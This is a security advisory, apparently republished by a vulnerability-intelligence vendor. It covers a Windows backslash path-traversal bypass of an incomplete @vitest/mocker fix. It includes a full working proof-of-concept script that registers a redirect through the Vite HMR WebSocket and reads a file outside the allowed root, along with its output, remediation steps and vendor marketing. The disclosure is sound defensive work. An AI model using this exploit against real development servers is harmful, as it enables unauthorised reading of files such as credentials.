Summary
Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix
The path traversal fix released for GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname.
The fixed code joins an attacker-controlled URL pathname with the Vite root using node:path/posix, then passes that string to Vite's file allowlist check. On Windows, a value such as C:/project/root/..\secret.txt retains ..\ during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later readFile() call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.
I reproduced the issue with the published @vitest/mocker packages in both fixed release lines:
@vitest/[email protected]@vitest/[email protected]
The current main source at commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 has the same behavior.
Relationship to GHSA-82fw-gwwq-j7x9
This is a bypass of the accepted fix, not a separate unrelated path. It uses the same vitest:interceptor:register redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.
The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:
4.1.11>=5.0.0-rc.2, <5.0.3
Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.
Root cause
packages/mocker/src/node/interceptorPlugin.ts imports join from node:path/posix. Redirect registration currently performs the equivalent of:
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
The registered value later reaches:
readFile(mock.redirect, 'utf-8')
Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but readFile interprets them as separators. The check and the sink therefore interpret the same string differently.
The authenticated browser RPC fallback in packages/browser/src/node/rpc.ts is not affected: it joins the path with pathe, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.
Preconditions and impact
A client that can reach a Vite server using the public mockerPlugin or standalone interceptorPlugin WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside server.fs.allow that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.
The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.
Reproduction
Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling secret.txt containing a canary.
Install dependencies for either affected line:
npm install @vitest/[email protected] [email protected] [email protected]
# or
npm install @vitest/[email protected] [email protected] [email protected]
node poc.mjs
poc.mjs:
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'
const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')
const server = await createServer({
root,
configFile: false,
logLevel: 'silent',
server: { fs: { allow: [root] } },
plugins: [
{
name: 'validation:virtual-modules',
enforce: 'pre',
resolveId(id) {
if (id === '/control' || id === '/bypass') return id
},
},
interceptorPlugin(),
],
})
await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]
function register(id, redirect) {
return new Promise((resolve, reject) => {
const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
socket.on('message', (raw) => {
let message
try { message = JSON.parse(raw.toString()) } catch { return }
if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
clearTimeout(timer)
socket.close()
resolve()
}
})
socket.on('open', () => socket.send(JSON.stringify({
type: 'custom',
event: 'vitest:interceptor:register',
data: { type: 'redirect', raw: '', id, url: id, redirect },
})))
socket.on('error', reject)
})
}
try {
await register('/control', 'traversal:../secret.txt')
const controlResponse = await fetch(new URL('/control', baseUrl))
const controlBody = await controlResponse.text()
await register('/bypass', 'traversal:..\\secret.txt')
const bypassResponse = await fetch(new URL('/bypass', baseUrl))
const bypassBody = await bypassResponse.text()
const result = {
platform: process.platform,
root,
outsideFile: secret,
slashTraversalStatus: controlResponse.status,
slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
backslashTraversalStatus: bypassResponse.status,
backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
}
console.log(JSON.stringify(result, null, 2))
const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
? !result.backslashTraversalReturnedOutsideCanary
: result.backslashTraversalReturnedOutsideCanary
if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
await server.close()
}
Observed with @vitest/[email protected]:
{
"platform": "win32",
"slashTraversalStatus": 404,
"slashTraversalRejected": true,
"backslashTraversalStatus": 200,
"backslashTraversalReturnedOutsideCanary": true,
"returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
"expectedBackslashTraversalBlocked": false
}
The same result was observed with @vitest/[email protected].
This includes two useful controls:
traversal:../secret.txtis rejected and returns 404, confirming the published forward-slash fix is active.traversal:..\secret.txtreturns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.
Impact
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-112950 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.12, 5.0.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so ..\ resolves the same as ../ and the allowlist check rejects it.
Frequently Asked Questions
- What is CVE-2026-112950? CVE-2026-112950 is a medium-severity path traversal vulnerability in @vitest/mocker (npm), affecting versions >= 4.1.11, < 4.1.12. It is fixed in 4.1.12, 5.0.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-112950? CVE-2026-112950 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @vitest/mocker are affected by CVE-2026-112950? @vitest/mocker (npm) versions >= 4.1.11, < 4.1.12 is affected.
- Is there a fix for CVE-2026-112950? Yes. CVE-2026-112950 is fixed in 4.1.12, 5.0.3. Upgrade to this version or later.
- Is CVE-2026-112950 exploitable, and should I be worried? Whether CVE-2026-112950 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-112950 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-112950?
- Upgrade
@vitest/mockerto 4.1.12 or later - Upgrade
@vitest/mockerto 5.0.3 or later
- Upgrade